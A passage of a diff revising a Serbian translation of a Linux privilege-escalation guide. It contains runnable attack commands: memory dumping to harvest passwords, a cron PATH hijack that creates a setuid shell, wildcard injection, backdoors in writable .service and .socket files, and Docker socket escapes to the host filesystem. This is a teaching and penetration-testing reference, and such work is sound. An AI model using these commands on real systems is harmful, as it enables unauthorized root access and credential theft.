odbrana +## Nabrojte moguće odbrane ### AppArmor ```bash @@ -123,7 +123,8 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Ako se nalazite unutar docker container-a, možete pokušati da pobegnete iz njega: +Ako se nalazite unutar docker kontejnera, možete pokušati da pobegnete iz njega: + {{#ref}} docker-security/ @@ -131,55 +132,55 @@ docker-security/ ## Diskovi -Proverite **what is mounted and unmounted**, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite da li sadrži privatne informacije +Proverite **šta je mounted i unmounted**, gde i zašto. Ako je nešto unmounted, možete pokušati da ga mount-ujete i proverite ima li privatnih informacija. ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## Koristan softver +## Korisni softver Nabrojte korisne binaries ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Takođe, proveri da li je **bilo koji compiler instaliran**. Ovo je korisno ako treba da upotrebiš neki kernel exploit, jer se preporučuje da ga kompajliraš na mašini na kojoj ćeš ga koristiti (ili na sličnoj). +Takođe, proverite da li je **instaliran bilo koji kompajler**. Ovo je korisno ako treba da koristite neki kernel exploit, jer se preporučuje da ga kompajlirate na mašini na kojoj ćete ga koristiti (ili na sličnoj). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### Instaliran ranjiv softver -Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara verzija Nagios-a (na primer) koja bi mogla biti iskorišćena za escalating privileges…\ -Preporučuje se ručno proveriti verzije sumnjivijih instaliranih softvera. +Proverite **verziju instaliranih paketa i servisa**. Možda postoji neka stara Nagios verzija (na primer) koja bi mogla biti iskorišćena za escalating privileges…\ +Preporučuje se ručno proveriti verziju sumnjivijeg instaliranog softvera. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Ako imate SSH pristup mašini, možete takođe koristiti **openVAS** da proverite zastareli i ranjiv softver instaliran na mašini. +Ako imate SSH pristup mašini, možete koristiti **openVAS** da proverite zastareli i ranjiv softver instaliran na toj mašini. -> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će u većini slučajeva biti beskorisne, stoga se preporučuju aplikacije kao što su OpenVAS ili slične koje će proveriti da li je neka instalirana verzija softvera ranjiva na poznate exploits_ +> [!NOTE] > _Imajte na umu da će ove komande prikazati mnogo informacija koje će većinom biti beskorisne, zato se preporučuju aplikacije poput OpenVAS ili slične koje će proveriti da li je bilo koja instalirana verzija softvera ranjiva na poznate exploits_ ## Procesi -Pogledajte **koji procesi** se izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebalo** (možda tomcat koji se izvršava kao root?) +Pogledajte **koji se procesi** izvršavaju i proverite da li neki proces ima **više privilegija nego što bi trebalo** (možda tomcat koji se izvršava kao root?) ```bash ps aux ps -ef top -n 1 ``` -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** ih detektuje proverom `--inspect` parametra u komandnoj liniji procesa.\ -Takođe **proverite svoje privilegije nad binarnim fajlovima procesa**, možda možete prepisati tuđe. +Uvek proverite da li su mogući [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detektuje ih proverom `--inspect` parametra u komandnoj liniji procesa.\ +Takođe **proverite svoje privilegije nad binarnim fajlovima procesa**, možda možete prepisati neki. -### Process monitoring +### Praćenje procesa -Možete koristiti alate kao što je [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti vrlo korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni uslovi. +Možete koristiti alate poput [**pspy**](https://github.com/DominicBreuker/pspy) za praćenje procesa. Ovo može biti veoma korisno za identifikovanje ranjivih procesa koji se često izvršavaju ili kada su ispunjeni određeni uslovi. -### Process memory +### Memorija procesa Neki servisi na serveru čuvaju **podatke za prijavu u čistom tekstu u memoriji**.\ -Obično će vam trebati **root privileges** da biste čitali memoriju procesa koji pripadaju drugim korisnicima, stoga je ovo uglavnom korisnije kada ste već root i želite otkriti dodatne podatke za prijavu.\ -Međutim, zapamtite da **kao običan korisnik možete čitati memoriju procesa koje posedujete**. +Obično će vam trebati **root privileges** da biste čitali memoriju procesa koji pripadaju drugim korisnicima, stoga je ovo obično korisnije kada ste već root i želite otkriti više podataka za prijavu.\ +Međutim, imajte na umu da **kao običan korisnik možete čitati memoriju procesa koje posedujete**. > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. @@ -193,7 +194,7 @@ Međutim, zapamtite da **kao običan korisnik možete čitati memoriju procesa k #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +Ako imate pristup memoriji FTP servisa (na primer) možete dobiti Heap i pretražiti u njemu podatke za prijavu. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB skripta +#### GDB скрипт ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Za dati ID procesa, **maps prikazuju kako je memorija mapirana unutar tog procesa** virtuelnog adresnog prostora; takođe prikazuju **dozvole svake mapirane oblasti**. Pseudo fajl **mem** **otkriva samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske oblasti čitljive** i njihovi offseti. Koristimo ove informacije da **seek into the mem file and dump sve čitljive oblasti** u fajl. +Za dati PID, **maps prikazuju kako je memorija mapirana u** virtuelnom adresnom prostoru tog procesa; takođe prikazuju **dozvole svake mapirane regije**. Pseudo-fajl **mem** **otkriva samu memoriju procesa**. Iz **maps** fajla znamo koje su **memorijske regije čitljive** i njihovi offseti. Koristimo ove informacije da **seek u mem fajlu i dump-ujemo sve čitljive regije** u fajl. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` omogućava pristup sistemskoj **fizičkoj** memoriji, a ne virtuelnoj memoriji. Virtualnom adresnom prostoru kernela može se pristupiti koristeći /dev/kmem.\ -Obično je `/dev/mem` čitljiv samo za **root** i **kmem** grupu. +`/dev/mem` pruža pristup **fizičkoj** memoriji sistema, a ne virtuelnoj memoriji. Virtuelni adresni prostor kernela može se pristupiti pomoću /dev/kmem.\ +Obično je `/dev/mem` čitljiv samo od strane **root** i **kmem** grupe. ``` strings /dev/mem -n10 | grep -i PASS ``` -### ProcDump for linux +### ProcDump za linux -ProcDump je reinterpretacija za linux klasičnog alata ProcDump iz paketa Sysinternals za Windows. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump je reinterpretacija klasičnog ProcDump alata iz Sysinternals paketa alata za Windows, namenjena za Linux. Preuzmite ga na [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -269,8 +270,8 @@ Press Ctrl-C to end monitoring without terminating the process. Za dump a process memory možete koristiti: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i dump the process owned by you -- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Možete ručno ukloniti root zahteve i dumpovati process koji je u vašem vlasništvu +- Script A.5 iz [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root je potreban) ### Kredencijali iz Process Memory @@ -281,14 +282,14 @@ Ako otkrijete da authenticator process radi: ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Možete dump-ovati process (pogledajte prethodne sekcije za različite načine dump-ovanja memory-ja procesa) i pretražiti credentials unutar memory-ja: +Možete dump the process (pogledajte prethodne sekcije da pronađete različite načine da dump the memory of a process) i potražiti kredencijale unutar memorije: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti podatke za prijavu u čistom tekstu iz memorije** i iz nekih **dobro poznatih datoteka**. Za ispravan rad zahteva root privilegije. +Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) će **ukrasti nešifrovane kredencijale iz memorije** i iz nekih **dobro poznatih fajlova**. Za ispravan rad zahteva root privilegije. | Funkcija | Ime procesa | | ------------------------------------------------- | -------------------- | @@ -296,8 +297,8 @@ Alat [**https://github.com/huntergregal/mimipenguin**](https://github.com/hunter | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | | VSFTPd (aktivne FTP konekcije) | vsftpd | -| Apache2 (aktivne HTTP Basic Auth sesije) | apache2 | -| OpenSSH (aktivne SSH sesije - upotreba sudo) | sshd: | +| Apache2 (aktivne HTTP Basic Auth sesije) | apache2 | +| OpenSSH (aktivne SSH sesije - korišćenje sudo) | sshd: | #### Pretraga Regex-a/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -315,7 +316,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... ``` ## Zakazani/Cron jobs -Proverite da li je neki zakazani zadatak ranjiv. Možda možete iskoristiti skriptu koja se izvršava kao root (wildcard vuln? možete li izmeniti fajlove koje root koristi? koristiti symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). +Proverite da li je neki zakazani job ranjiv. Možda možete iskoristiti skriptu koja se izvršava kao root (wildcard vuln? možete li menjati fajlove koje root koristi? use symlinks? kreirati specifične fajlove u direktorijumu koji root koristi?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -323,41 +324,40 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul ``` ### Cron putanja -Na primer, u _/etc/crontab_ možete наћи PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ +Na primer, u _/etc/crontab_ možete pronaći PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -(_Obratite pažnju kako korisnik "user" ima права za pisanje над /home/user_) +(_Obratite pažnju da korisnik "user" ima pravo pisanja nad /home/user_) -Ako у ovom crontab-u root pokušava да izvrši neku komandu ili skript без postavljanja PATH-a. На пример: _\* \* \* \* root overwrite.sh_\ -Tada можете dobiti root shell koristeći: +Ako u ovom crontabu root pokušava da izvrši neku komandu ili skriptu bez podešavanja PATH-a. На пример: _\* \* \* \* root overwrite.sh_\ +Tada možete dobiti root shell koristeći: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron koji koristi skriptu sa wildcard-om (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Ako se skripta izvršava kao root i sadrži “**\***” u komandi, možete to iskoristiti da izazovete neočekivane stvari (kao privesc). Primer: +Ako skripta koju izvršava root sadrži “**\***” unutar komande, možete to iskoristiti za izvršavanje neočekivanih stvari (poput privesc). Primer: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Ako je wildcard prethodi putanji kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **nije).** - -Pročitajte sledeću stranicu za više trikova za iskorišćavanje wildcard-a: +**Ako je wildcard deo putanje kao** _**/some/path/\***_ **, nije ranjiv (čak ni** _**./\***_ **).** +Pročitajte sledeću stranicu za više trikova za eksploataciju wildcard-a: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Prepisivanje cron skripte i symlink +### Cron: prepisivanje skripte i symlink -Ako možete **modifikovati cron script** koji se izvršava kao root, možete vrlo lako dobiti shell: +Ako **možete izmeniti cron skriptu** koju izvršava root, možete vrlo lako dobiti shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Ako script koji izvršava root koristi **directory where you have full access**, možda bi bilo korisno obrisati taj folder i **create a symlink folder to another one** koji će služiti za pokretanje script koje kontrolišete +Ako skripta koju izvršava root koristi **direktorijum na koji imate potpuni pristup**, možda bi bilo korisno obrisati taj direktorijum i **napraviti symlink ka drugom direktorijumu** koji pokreće skriptu pod vašom kontrolom. ```bash ln -d -s ``` @@ -365,28 +365,28 @@ ln -d -s Možete pratiti procese da biste pronašli procese koji se izvršavaju svakih 1, 2 ili 5 minuta. Možda to možete iskoristiti i escalate privileges. -Na primer, da biste **nadgledali svakih 0.1s tokom 1 minute**, **sortirali po manje izvršenim komandama** i izbrisali komande koje su se najviše izvršavale, možete uraditi: +Na primer, da biste **nadgledali svakih 0.1s tokom 1 minute**, **sortirali po najmanje izvršenim komandama** i obrisali komande koje su se najviše izvršavale, možete uraditi: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i prikazati svaki proces koji se pokrene). +**Takođe možete koristiti** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (ovo će nadgledati i navesti svaki proces koji se pokrene). ### Nevidljivi cron jobs -Moguće je kreirati cronjob stavljanjem carriage return-a nakon komentara (bez newline karaktera), i cron job će raditi. Primer (obratite pažnju na carriage return karakter): +Moguće je kreirati cronjob **stavljanjem povratka karetke nakon komentara** (bez znaka novog reda), i cron job će raditi. Primer (obratite pažnju na karakter povratka karetke): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` ## Servisi -### Upisivi _.service_ fajlovi +### Fajlovi _.service_ koji se mogu pisati -Proverite da li možete upisati bilo koji `.service` fajl, ako možete, **možete ga izmeniti** tako da **pokreće** vaš **backdoor kada** se servis **pokrene**, **restartuje** ili **zaustavi** (možda ćete morati da sačekate dok se mašina ne rebootuje).\ -Na primer kreirajte vaš backdoor unutar .service fajla sa **`ExecStart=/tmp/script.sh`** +Proverite da li možete da upišete bilo koji `.service` fajl, ako možete, vi **možete ga izmeniti** tako da on **pokreće** vaš **backdoor kada** je servis **pokrenut**, **restartovan** ili **zaustavljen** (možda ćete morati da sačekate da se mašina restartuje).\ +Na primer kreirajte vaš backdoor unutar `.service` fajla sa **`ExecStart=/tmp/script.sh`** -### Upisivi binarni fajlovi servisa +### Binarni fajlovi servisa koji su upisivi -Imajte na umu da ako imate **prava za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih izmeniti da sadrže backdoor, tako da će, kada se servisi ponovo izvrše, taj backdoor biti pokrenut. +Imajte na umu da ako imate **dozvole za pisanje nad binarnim fajlovima koje izvršavaju servisi**, možete ih izmeniti da sadrže backdoors, tako da kada se servisi ponovo izvrše ti backdoors budu izvršeni. ### systemd PATH - Relativne putanje @@ -394,74 +394,74 @@ Možete videti PATH koji koristi **systemd** pomoću: ```bash systemctl show-environment ``` -Ako otkrijete da možete da **pišete** u bilo kojem od direktorijuma na putanji, možda ćete moći da **escalate privileges**. Treba da tražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao na primer: +Ako otkrijete da možete **pisati** u bilo kom od direktorijuma na putanji, možda ćete moći da **escalate privileges**. Treba da tražite **relativne putanje koje se koriste u konfiguracionim fajlovima servisa** kao što su: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Zatim, kreirajte **izvršni fajl** sa **istim imenom kao binarni fajl relativne putanje** unutar systemd PATH direktorijuma u koji možete pisati, i kada se servis zatraži da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu pokretati/zaustavljati servise, ali proverite da li možete koristiti `sudo -l`). +Zatim, kreirajte **executable** sa **istim imenom kao relativni path binary** unutar systemd PATH foldera u koji možete pisati, i kada servis bude zatražen da izvrši ranjivu akciju (**Start**, **Stop**, **Reload**), vaš **backdoor će biti izvršen** (neprivilegovani korisnici obično ne mogu da startuju/stopuju servise, ali proverite da li možete da koristite `sudo -l`). -**Saznajte više o servisima pomoću `man systemd.service`.** +**Saznajte više o servisima sa `man systemd.service`.** -## **Tajmeri** +## **Timers** -**Tajmeri** su systemd unit fajlovi čije ime završava na `**.timer**` koji kontrolišu `**.service**` fajlove ili događaje. **Tajmeri** se mogu koristiti kao alternativa za cron jer imaju ugrađenu podršku za događaje zasnovane na kalendaru i monotone vremenske događaje i mogu se pokretati asinhrono. +**Timers** su systemd unit fajlovi čije ime se završava na `**.timer**` koji kontrolišu `**.service**` fajlove ili događaje. **Timers** mogu da se koriste kao alternativa cron-u jer imaju ugrađenu podršku za kalendarske vremenske događaje i monotoničke vremenske događaje i mogu se pokretati asinhrono. -Možete izlistati sve tajmere koristeći: +Možete izlistati sve timere sa: ```bash systemctl list-timers --all ``` -### Tajmeri koji se mogu izmeniti +### Tajmeri sa pravom za pisanje -Ako možete izmeniti tajmer, možete ga naterati da izvrši neke postojeće instance systemd.unit (kao što su `.service` ili `.target`). +Ako možete izmeniti tajmer, možete ga naterati da pokrene neku postojeću systemd.unit (npr. `.service` ili `.target`). ```bash Unit=backdoor.service ``` -U dokumentaciji možete pročitati šta je jedinica: +U dokumentaciji možete pročitati šta je Unit: -> Jedinica koja se aktivira kada ovaj timer istekne. Argument je ime jedinice, čiji sufiks nije ".timer". Ako nije navedeno, ova vrednost podrazumevano pokazuje na service koji ima isto ime kao timer jedinica, osim sufiksa. (Vidi iznad.) Preporučuje se da ime jedinice koja se aktivira i ime timer jedinice budu identični, osim sufiksa. +> Jedinica koja se aktivira kada ovaj timer istekne. Argument je naziv unit-a, čiji sufiks nije ".timer". Ako nije naveden, ova vrednost podrazumevano pokazuje na service koji ima isto ime kao timer unit, osim sufiksa. (Vidi gore.) Preporučuje se da naziv unit-a koji se aktivira i naziv timer unit-a budu identični, osim sufiksa. -Dakle, da biste zloupotrebili ovu dozvolu potrebno je da: +Dakle, da biste zloupotrebili ovu dozvolu, potrebno je da: -- Pronađite neku systemd jedinicu (npr. `.service`) koja je **izvršava binarni fajl nad kojim imate privilegije pisanja** -- Pronađite neku systemd jedinicu koja **izvršava relativnu putanju** i za koju imate **privilegije za pisanje** nad **systemd PATH** (da biste imitirali taj izvršni fajl) +- Pronađete neki systemd unit (npr. `.service`) koji **izvršava binarni fajl u koji imate permisiju za pisanje** +- Pronađete neki systemd unit koji **izvršava relativnu putanju** i imate **dozvole za pisanje** nad **systemd PATH** (da biste podmetnuli taj izvršni fajl) -**Saznajte više o timerima pomoću `man systemd.timer`.** +**Više o timer-ima saznajte u `man systemd.timer`.** ### **Omogućavanje timera** -Da biste omogućili timer potrebne su root privilegije i potrebno је izvršiti: +Da biste omogućili timer, potrebne su root privilegije i da izvršite: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Imajte na umu da se **timer** **aktivira** kreiranjem symlink-a ka njemu na `/etc/systemd/system/.wants/.timer` -## Sockets +## Soketi -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +Unix Domain Sockets (UDS) omogućavaju **komunikaciju procesa** na istoj ili različitim mašinama unutar client-server modela. Koriste standardne Unix descriptor fajlove za međuračunarsku komunikaciju i konfigurišu se preko `.socket` fajlova. -Sockets can be configured using `.socket` files. +Sockets mogu biti konfigurisani koristeći `.socket` fajlove. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**Saznajte više o sockets sa `man systemd.socket`.** U ovom fajlu može se podesiti nekoliko interesantnih parametara: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ove opcije se razlikuju, ali suštinski služe da **naznače gde će se slušati** socket (putanja AF_UNIX socket fajla, IPv4/6 i/ili broj porta koji će se slušati, itd.) +- `Accept`: Prima boolean argument. Ako je **true**, za **svaku dolaznu konekciju se pokreće instance servisa** i samo konekcioni socket se prosleđuje toj instanci. Ako je **false**, svi listening soketi sami po sebi se **prosleđuju startovanom service unit-u**, i samo jedna service unit se pokreće za sve konekcije. Ova vrednost se ignoriše za datagram sokete i FIFO-e gde jedna service unit bezuslovno rukuje celim dolaznim saobraćajem. **Podrazumevano je false**. Iz razloga performansi, preporučuje se pisati nove daemone na način pogodan za `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Prima jednu ili više komandnih linija, koje se **izvršavaju pre** ili **posle** nego što su listening **soketi**/FIFO-i **kreirani** i vezani, redom. Prvi token komandne linije mora biti apsolutno ime fajla, a zatim argumenti za proces. +- `ExecStopPre`, `ExecStopPost`: Dodatne **komande** koje se **izvršavaju pre** ili **posle** nego što su listening **soketi**/FIFO-i **zatvoreni** i uklonjeni, redom. +- `Service`: Specificira ime **service** unit-a **koji će se aktivirati** na **dolazni saobraćaj**. Ova opcija je dozvoljena samo za sokete sa Accept=no. Podrazumevano pokazuje na service koji nosi isto ime kao socket (sa zamenjenim sufiksom). U većini slučajeva nije neophodno koristiti ovu opciju. -### Writable .socket files +### Upisivi .socket fajlovi -Ako nađete **writable** `.socket` fajl možete **dodati** na početak `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što se socket kreira. Zato ćete **verovatno morati da sačekate restart mašine.**\ -_Napomena da sistem mora koristiti tu konfiguraciju `.socket` fajla ili backdoor neće biti izvršen_ +Ako pronađete **upisiv** `.socket` fajl možete **dodati** na početku `[Socket]` sekcije nešto poput: `ExecStartPre=/home/kali/sys/backdoor` i backdoor će biti izvršen pre nego što socket bude kreiran. Dakle, **verovatno ćete morati da sačekate dok se mašina ne restartuje.**\ +_Napomena: sistem mora koristiti tu konfiguraciju socket fajla ili backdoor neće biti izvršen_ -### Writable sockets +### Upisivi Unix soketi -Ako **identifikujete bilo koji writable socket** (_sada govorimo o Unix Sockets, a ne o konfiguracionim `.socket` fajlovima_), onda **možete komunicirati** sa tim socket-om i možda iskoristiti neku ranjivost. +Ako **identifikujete bilo koji upisiv socket** (_sada govorimo o Unix Sockets i ne o konfig `.socket` fajlovima_), onda **možete komunicirati** sa tim socketom i možda iskoristiti neku ranjivost. -### Enumerate Unix Sockets +### Enumeracija Unix soketa ```bash netstat -a -p --unix ``` @@ -483,36 +483,36 @@ socket-command-injection.md ### HTTP sockets -Imajte na umu da može postojati nekoliko **sockets koji slušaju HTTP** zahteva (_ne mislim na .socket fajlove već na fajlove koji funkcionišu kao unix sockets_). Možete to proveriti pomoću: +Imajte na umu da može postojati nekoliko **sockets listening for HTTP** zahteva (_Ne mislim na .socket files već na fajlove koji se ponašaju kao unix sockets_). Možete to proveriti pomoću: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Ako socket **odgovori na HTTP** zahtev, možeš sa njim **komunicirati** i možda **iskoristiti neku ranjivost**. +Ako socket **odgovori na HTTP** zahtev, onda možete **komunicirati** sa njim i možda **iskoristiti neku ranjivost**. -### Docker socket sa pristupom za pisanje +### Upisivi Docker socket -Docker socket, često pronađen na `/var/run/docker.sock`, predstavlja kritičan fajl koji treba zaštititi. Podrazumevano, upisiv je od strane `root` korisnika i članova `docker` grupe. Posedovanje write access do ovog socketa može dovesti do privilege escalation. Ispod je prikaz kako se to može uraditi i alternativne metode ako Docker CLI nije dostupan. +Docker socket, često se nalazi na `/var/run/docker.sock`, je kritičan fajl koji treba da bude zaštićen. Po defaultu, može da mu piše `root` korisnik i članovi `docker` grupe. Imati pristup za pisanje ovom socketu može dovesti do eskalacije privilegija. Evo pregleda kako se to može uraditi i alternativnih metoda ako Docker CLI nije dostupan. -#### **Privilege Escalation with Docker CLI** +#### **Eskalacija privilegija pomoću Docker CLI** -Ako imaš write access do Docker socketa, možeš escalate privileges koristeći sledeće komande: +Ako imate pristup za pisanje Docker socketu, možete eskalirati privilegije koristeći sledeće komande: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Ove komande vam omogućavaju da pokrenete kontejner sa root pristupom datotečnom sistemu hosta. +Ove komande vam omogućavaju da pokrenete container sa root pristupom fajl-sistemu hosta. #### **Korišćenje Docker API-ja direktno** -U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati koristeći Docker API i `curl` komande. +U slučajevima kada Docker CLI nije dostupan, Docker socket se i dalje može manipulisati pomoću Docker API-ja i `curl` komandi. -1. **List Docker Images:** Preuzmite listu dostupnih image-ova. +1. **List Docker Images:** Dohvatite listu dostupnih images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Pošaljite zahtev za kreiranje kontejnera koji montira root direktorijum host sistema. +2. **Create a Container:** Pošaljite zahtev za kreiranje containera koji mount-uje root direktorijum host sistema. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create @@ -524,7 +524,7 @@ Start the newly created container: curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Koristite `socat` da uspostavite konekciju sa kontejnerom, omogućavajući izvršavanje komandi unutar njega. +3. **Attach to the Container:** Koristite `socat` da uspostavite konekciju ka containeru, što vam omogućava izvršavanje komandi u njemu. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -534,31 +534,31 @@ Connection: Upgrade Upgrade: tcp ``` -Nakon uspostavljanja `socat` konekcije, možete direktno izvršavati komande u kontejneru sa root pristupom datotečnom sistemu hosta. +Nakon uspostavljanja `socat` konekcije, možete izvršavati komande direktno u containeru sa root pristupom fajl-sistemu hosta. ### Ostalo -Napomena: ako imate write permisije na docker socket zato što ste **u grupi `docker`**, imate [**više načina za eskalaciju privilegija**](interesting-groups-linux-pe/index.html#docker-group). Ako [**docker API sluša na portu** možete ga takođe kompromitovati](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Imajte na umu da ako imate write permissions over the docker socket zato što ste **inside the group `docker`** imate [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Ako je [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Pogledajte **još načina za bekstvo iz docker-a ili zloupotrebu za eskalaciju privilegija** u: +Proverite **još načina da se izvučete iz docker-a ili da ga zloupotrebite za eskalaciju privilegija** u: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) eskalacija privilegija +## Containerd (ctr) privilege escalation -Ako ustanovite da možete koristiti komandu **`ctr`**, pročitajte sledeću stranu jer **možda možete da je zloupotrebite za eskalaciju privilegija**: +If you find that you can use the **`ctr`** command read the following page as **you may 